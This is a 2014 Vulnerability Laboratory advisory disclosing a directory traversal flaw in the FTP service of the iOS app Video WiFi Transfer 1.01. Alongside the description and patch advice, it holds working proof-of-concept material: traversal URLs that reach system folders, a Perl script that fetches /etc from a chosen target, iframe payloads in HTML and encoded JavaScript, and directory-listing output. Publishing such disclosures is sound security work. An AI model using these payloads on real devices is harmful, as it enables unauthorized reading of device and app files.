Document Title:
===============
Video WiFi Transfer 1.01 - Directory Traversal Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1288


Release Date:
=============
2014-08-02


Vulnerability Laboratory ID (VL-ID):
====================================
1288


Common Vulnerability Scoring System:
====================================
6.7


Product & Service Introduction:
===============================
Using this app, you can download videos to a PC or a smartphone from your iPhone through WiFi. The video downloaded can be played back 
on PC and another smart phones as well as Mac and iPhone because the app converts it into a MP4 video. It only takes a few seconds for 
the conversion. You would say it is the fastest. Just run the app on the iPhone and open the web browser on your PC or Android. That is 
all that you are required to do. It is quite simple. In addition to the web browser, a ftp client application is also supported to 
access the videos. Do not pay money for these functions as the app provides all of them without charging.

(Copy of the Homepage: https://itunes.apple.com/de/app/video-wifi-transfer-mp4-conversion/id892132370 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a Directory Traversal vulnerability in the official Bluefinger App Video WiFi Transfer/MP4 Conversion v1.01 iOS mobile application.


Vulnerability Disclosure Timeline:
==================================
2014-08-01: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
BlueFinger Apps
Product: Video WiFi Transfer/MP4 Conversion - iOS Mobile Web Application 1.01


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A directory traversal web vulnerability has been discovered in the official BlueFinger Apps Video WiFi Transfer v1.01 iOS mobile application.
The vulnerability allows remote attackers to bypass the path restriction of a service to access sensitive app-, web-server or -device information.

The vulnerability is located in the `ftp` (ftp://localhost:8080) service of the wifi `web-server` module. The issue allows an attacker to bypass 
the regular `folder/path` validation mechnism to access sensitive app web-server or iOS -device information. The attack vector of the issue is on 
the application-side of the service and to perform malicious request the `GET method` is required to use.

After the start of the web-server by usage of the ftp function, the attacker is able to include 5 more path values (../../../../../) to access 
unauthorized higher folders outside the mobile application service. In the analysis we saw that the path change of 5 directories is required 
to bypass. During the tests we accessed the full app service folder and through the directory traversal to web-server configuration files but 
also the parent device directory.

The security risk of the directory traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system) 
count of 6.7. Exploitation of the path traversal web vulnerability requires no privileged web-application user account or user interaction. 
Successful exploitation of the directory traversal vulnerability results in mobile application or connected device component compromise.

Request Method(s):
			[+] GET

Vulnerable Module(s):
			[+] Directory

Vulnerable Parameter(s):
			[+] path

Affected Module(s):
			[+] Parent Directory (ftp://localhost:8080/)


Note: The structure of the software is the same like in the official BlueFinger Apps `Photo` WiFi Transfer v1.01 iOS mobile application.
The same vulnerability is located in both mobile ios software of the bluefinger apps company.


Proof of Concept (PoC):
=======================
The directory traversal web vulnerability can be exploited by attackers without privileged application user account and user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Exception:
50 /private/var/mobile/Applications/CFCEEF6E-AA35-42D6-84EC-BFB518F764B1/Documents/video/../../etc/passwd No such file or directory.

Standard Request:
ftp://localhost:8080/../../Documents/

PoC: Links
ftp://localhost:8080/../../../../../../../../../../../../../../../../etc
ftp://localhost:8080/../../../../../../../../../../../../../../../../usr/
ftp://localhost:8080/../../../../../../../../../../../../../../../../Applications/
ftp://localhost:8080/../../../../../../../../../../../../../../../../System/


Exploit: PoC (PL)
#!/usr/bin/perl
use LWP::Simple;
print "-------------------------------------------\n";
print "-= Photo WiFi Transfer v1.0.1 - PoC Directory Traversal=-\n";
print "-------------------------------------------\n\n";

print "Target(ftp://localhost:8080/)\> ";
chomp($targ = <STDIN>);

print "Path: (/fn25/)\>";
chomp($path=<STDIN>);

$url = "../../../../../../../../etc/";
$page = get("http://".$targ.$path.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $page\n";


Exploit: PoC (HTML)
<html>
<head><body><title></title>
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../etc>
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../usr/>
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../Applications/>
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../System/>
</body></head>
<html>


Exploit: PoC (JS)
<script language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%3Ctitle%3E%3C/title%3E%0A%3Ciframe%20src%3Dftp%3A//
localhost%3A8080/../../../../../../../../../../../../../../../../etc%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/
../../../../../../../../../../../../../../../../usr/%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/../../../../../
../../../../../../../../../../../Applications/%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/../../../../../../../
../../../../../../../../../System/%3E%0A%3C/body%3E%3C/head%3E%0A%3Chtml%3E';d=unescape(m);document.write(d);</script>


--- PoC Console Logs ---
Applications		14.03.2014 	19:06:00
Developer		18.08.2013 	06:19:00
Library			20.10.2013 	06:32:00
System			17.10.2013 	08:08:00
bin			03.07.2014 	18:13:00
cores			18.08.2013 	05:56:00
Datei:etc	1 KB 	20.10.2013 	06:32:00
private			05.01.2014 	22:18:00
sbin			03.07.2014 	18:13:00
Datei:tmp	1 KB 	20.10.2013 	06:32:00
usr			20.10.2013 	06:23:00
Datei:var	1 KB 	20.10.2013 	06:32:00

300: ftp://localhost:8080/../../../../../../../../
200: filename content-length last-modified file-type
201: "Applications" 0 Sun%2C%2014%20Mar%202014%2019%3A06%3A00 DIRECTORY 
201: "Developer" 0 Sun%2C%2018%20Aug%202013%2006%3A19%3A00 DIRECTORY 
201: "Library" 0 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 DIRECTORY 
201: "System" 0 Sun%2C%2017%20Oct%202013%2008%3A08%3A00 DIRECTORY 
201: "bin" 0 Sun%2C%2003%20Jul%202014%2018%3A13%3A00 DIRECTORY 
201: "cores" 0 Sun%2C%2018%20Aug%202013%2005%3A56%3A00 DIRECTORY 
201: "etc" 11 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 FILE 
201: "private" 0 Sun%2C%2005%20Jan%202014%2022%3A18%3A00 DIRECTORY 
201: "sbin" 0 Sun%2C%2003%20Jul%202014%2018%3A13%3A00 DIRECTORY 
201: "tmp" 15 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 FILE 
201: "usr" 0 Sun%2C%2020%20Oct%202013%2006%3A23%3A00 DIRECTORY 
201: "var" 11 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 FILE 

Note: The traversal becomes visible after the 5th path/folder request and affects like regular the full app path via web-server. (_eTiGb+6)
The issue is the same vulnerability like in the VL-ID 1286. The producer only changed the software name and converter to ensure that 
video can be transfered then pictures.


Solution - Fix & Patch:
=======================
The directory traversal web vulnerability can be patched by a secure filter and restriction mechanism in the GET method request of the directory/path name value module.


Security Risk:
==============
The security risk of the directory traversal web vulnerability in the ftp service of the mobile application is estimated as high.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either 
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers 
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even 
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation 
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break 
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       		- admin@evolution-sec.com
Section:    dev.vulnerability-db.com	 	- forum.vulnerability-db.com 		       		- magazine.vulnerability-db.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright � 2014 | Vulnerability Laboratory [Evolution Security]



-- 
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com